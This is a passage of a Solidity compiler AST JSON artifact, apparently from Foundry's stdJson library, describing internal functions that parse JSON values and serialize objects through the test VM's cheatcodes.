memory"}},"functionReturnParameters":6800,"id":6806,"nodeType":"Return","src":"1924:36:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readString","nameLocation":"1826:10:6","parameters":{"id":6797,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6794,"mutability":"mutable","name":"json","nameLocation":"1851:4:6","nodeType":"VariableDeclaration","scope":6808,"src":"1837:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6793,"name":"string","nodeType":"ElementaryTypeName","src":"1837:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6796,"mutability":"mutable","name":"key","nameLocation":"1871:3:6","nodeType":"VariableDeclaration","scope":6808,"src":"1857:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6795,"name":"string","nodeType":"ElementaryTypeName","src":"1857:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1836:39:6"},"returnParameters":{"id":6800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6799,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6808,"src":"1899:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6798,"name":"string","nodeType":"ElementaryTypeName","src":"1899:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1898:15:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6825,"nodeType":"FunctionDefinition","src":"1973:162:6","nodes":[],"body":{"id":6824,"nodeType":"Block","src":"2077:58:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6820,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6810,"src":"2118:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6821,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6812,"src":"2124:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6818,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2094:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6819,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2097:20:6","memberName":"parseJsonStringArray","nodeType":"MemberAccess","referencedDeclaration":13044,"src":"2094:23:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (string memory[] memory)"}},"id":6822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2094:34:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"functionReturnParameters":6817,"id":6823,"nodeType":"Return","src":"2087:41:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readStringArray","nameLocation":"1982:15:6","parameters":{"id":6813,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6810,"mutability":"mutable","name":"json","nameLocation":"2012:4:6","nodeType":"VariableDeclaration","scope":6825,"src":"1998:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6809,"name":"string","nodeType":"ElementaryTypeName","src":"1998:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6812,"mutability":"mutable","name":"key","nameLocation":"2032:3:6","nodeType":"VariableDeclaration","scope":6825,"src":"2018:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6811,"name":"string","nodeType":"ElementaryTypeName","src":"2018:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1997:39:6"},"returnParameters":{"id":6817,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6816,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6825,"src":"2060:15:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":6814,"name":"string","nodeType":"ElementaryTypeName","src":"2060:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6815,"nodeType":"ArrayTypeName","src":"2060:8:6","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"2059:17:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6841,"nodeType":"FunctionDefinition","src":"2141:146:6","nodes":[],"body":{"id":6840,"nodeType":"Block","src":"2233:54:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6836,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6827,"src":"2270:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6837,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6829,"src":"2276:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6834,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2250:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6835,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2253:16:6","memberName":"parseJsonAddress","nodeType":"MemberAccess","referencedDeclaration":12917,"src":"2250:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory,string memory) pure external returns (address)"}},"id":6838,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2250:30:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":6833,"id":6839,"nodeType":"Return","src":"2243:37:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readAddress","nameLocation":"2150:11:6","parameters":{"id":6830,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6827,"mutability":"mutable","name":"json","nameLocation":"2176:4:6","nodeType":"VariableDeclaration","scope":6841,"src":"2162:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6826,"name":"string","nodeType":"ElementaryTypeName","src":"2162:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6829,"mutability":"mutable","name":"key","nameLocation":"2196:3:6","nodeType":"VariableDeclaration","scope":6841,"src":"2182:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6828,"name":"string","nodeType":"ElementaryTypeName","src":"2182:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2161:39:6"},"returnParameters":{"id":6833,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6832,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6841,"src":"2224:7:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6831,"name":"address","nodeType":"ElementaryTypeName","src":"2224:7:6","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2223:9:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6858,"nodeType":"FunctionDefinition","src":"2293:165:6","nodes":[],"body":{"id":6857,"nodeType":"Block","src":"2399:59:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6853,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6843,"src":"2441:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6854,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6845,"src":"2447:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6851,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2416:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6852,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2419:21:6","memberName":"parseJsonAddressArray","nodeType":"MemberAccess","referencedDeclaration":12928,"src":"2416:24:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_address_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (address[] memory)"}},"id":6855,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2416:35:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"functionReturnParameters":6850,"id":6856,"nodeType":"Return","src":"2409:42:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readAddressArray","nameLocation":"2302:16:6","parameters":{"id":6846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6843,"mutability":"mutable","name":"json","nameLocation":"2333:4:6","nodeType":"VariableDeclaration","scope":6858,"src":"2319:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6842,"name":"string","nodeType":"ElementaryTypeName","src":"2319:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6845,"mutability":"mutable","name":"key","nameLocation":"2353:3:6","nodeType":"VariableDeclaration","scope":6858,"src":"2339:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6844,"name":"string","nodeType":"ElementaryTypeName","src":"2339:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2318:39:6"},"returnParameters":{"id":6850,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6849,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6858,"src":"2381:16:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":6847,"name":"address","nodeType":"ElementaryTypeName","src":"2381:7:6","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6848,"nodeType":"ArrayTypeName","src":"2381:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"2380:18:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6874,"nodeType":"FunctionDefinition","src":"2464:137:6","nodes":[],"body":{"id":6873,"nodeType":"Block","src":"2550:51:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6869,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6860,"src":"2584:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6870,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6862,"src":"2590:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6867,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2567:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6868,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2570:13:6","memberName":"parseJsonBool","nodeType":"MemberAccess","referencedDeclaration":12938,"src":"2567:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bool_$","typeString":"function (string memory,string memory) pure external returns (bool)"}},"id":6871,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2567:27:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":6866,"id":6872,"nodeType":"Return","src":"2560:34:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBool","nameLocation":"2473:8:6","parameters":{"id":6863,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6860,"mutability":"mutable","name":"json","nameLocation":"2496:4:6","nodeType":"VariableDeclaration","scope":6874,"src":"2482:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6859,"name":"string","nodeType":"ElementaryTypeName","src":"2482:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6862,"mutability":"mutable","name":"key","nameLocation":"2516:3:6","nodeType":"VariableDeclaration","scope":6874,"src":"2502:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6861,"name":"string","nodeType":"ElementaryTypeName","src":"2502:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2481:39:6"},"returnParameters":{"id":6866,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6865,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6874,"src":"2544:4:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6864,"name":"bool","nodeType":"ElementaryTypeName","src":"2544:4:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2543:6:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6891,"nodeType":"FunctionDefinition","src":"2607:156:6","nodes":[],"body":{"id":6890,"nodeType":"Block","src":"2707:56:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6886,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6876,"src":"2746:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6887,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6878,"src":"2752:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6884,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2724:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6885,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2727:18:6","memberName":"parseJsonBoolArray","nodeType":"MemberAccess","referencedDeclaration":12949,"src":"2724:21:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bool_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bool[] memory)"}},"id":6888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2724:32:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},"functionReturnParameters":6883,"id":6889,"nodeType":"Return","src":"2717:39:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBoolArray","nameLocation":"2616:13:6","parameters":{"id":6879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6876,"mutability":"mutable","name":"json","nameLocation":"2644:4:6","nodeType":"VariableDeclaration","scope":6891,"src":"2630:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6875,"name":"string","nodeType":"ElementaryTypeName","src":"2630:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6878,"mutability":"mutable","name":"key","nameLocation":"2664:3:6","nodeType":"VariableDeclaration","scope":6891,"src":"2650:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6877,"name":"string","nodeType":"ElementaryTypeName","src":"2650:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2629:39:6"},"returnParameters":{"id":6883,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6882,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6891,"src":"2692:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":6880,"name":"bool","nodeType":"ElementaryTypeName","src":"2692:4:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6881,"nodeType":"ArrayTypeName","src":"2692:6:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"2691:15:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6907,"nodeType":"FunctionDefinition","src":"2769:147:6","nodes":[],"body":{"id":6906,"nodeType":"Block","src":"2864:52:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6902,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6893,"src":"2899:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6903,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6895,"src":"2905:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6900,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"2881:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2884:14:6","memberName":"parseJsonBytes","nodeType":"MemberAccess","referencedDeclaration":12959,"src":"2881:17:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":6904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2881:28:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":6899,"id":6905,"nodeType":"Return","src":"2874:35:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes","nameLocation":"2778:9:6","parameters":{"id":6896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6893,"mutability":"mutable","name":"json","nameLocation":"2802:4:6","nodeType":"VariableDeclaration","scope":6907,"src":"2788:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6892,"name":"string","nodeType":"ElementaryTypeName","src":"2788:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6895,"mutability":"mutable","name":"key","nameLocation":"2822:3:6","nodeType":"VariableDeclaration","scope":6907,"src":"2808:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6894,"name":"string","nodeType":"ElementaryTypeName","src":"2808:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2787:39:6"},"returnParameters":{"id":6899,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6898,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6907,"src":"2850:12:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6897,"name":"bytes","nodeType":"ElementaryTypeName","src":"2850:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2849:14:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6924,"nodeType":"FunctionDefinition","src":"2922:159:6","nodes":[],"body":{"id":6923,"nodeType":"Block","src":"3024:57:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6919,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6909,"src":"3064:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6920,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6911,"src":"3070:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6917,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3041:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3044:19:6","memberName":"parseJsonBytesArray","nodeType":"MemberAccess","referencedDeclaration":12991,"src":"3041:22:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory[] memory)"}},"id":6921,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3041:33:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"functionReturnParameters":6916,"id":6922,"nodeType":"Return","src":"3034:40:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytesArray","nameLocation":"2931:14:6","parameters":{"id":6912,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6909,"mutability":"mutable","name":"json","nameLocation":"2960:4:6","nodeType":"VariableDeclaration","scope":6924,"src":"2946:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6908,"name":"string","nodeType":"ElementaryTypeName","src":"2946:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6911,"mutability":"mutable","name":"key","nameLocation":"2980:3:6","nodeType":"VariableDeclaration","scope":6924,"src":"2966:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6910,"name":"string","nodeType":"ElementaryTypeName","src":"2966:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2945:39:6"},"returnParameters":{"id":6916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6915,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6924,"src":"3008:14:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":6913,"name":"bytes","nodeType":"ElementaryTypeName","src":"3008:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":6914,"nodeType":"ArrayTypeName","src":"3008:7:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"3007:16:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6940,"nodeType":"FunctionDefinition","src":"3087:162:6","nodes":[],"body":{"id":6939,"nodeType":"Block","src":"3188:61:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6935,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6926,"src":"3222:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6936,"name":"rootObject","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6928,"src":"3231:10:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6933,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3205:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6934,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3208:13:6","memberName":"serializeJson","nodeType":"MemberAccess","referencedDeclaration":13218,"src":"3205:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) external returns (string memory)"}},"id":6937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3205:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":6932,"id":6938,"nodeType":"Return","src":"3198:44:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3096:9:6","parameters":{"id":6929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6926,"mutability":"mutable","name":"jsonKey","nameLocation":"3120:7:6","nodeType":"VariableDeclaration","scope":6940,"src":"3106:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6925,"name":"string","nodeType":"ElementaryTypeName","src":"3106:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6928,"mutability":"mutable","name":"rootObject","nameLocation":"3143:10:6","nodeType":"VariableDeclaration","scope":6940,"src":"3129:24:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6927,"name":"string","nodeType":"ElementaryTypeName","src":"3129:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3105:49:6"},"returnParameters":{"id":6932,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6931,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6940,"src":"3173:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6930,"name":"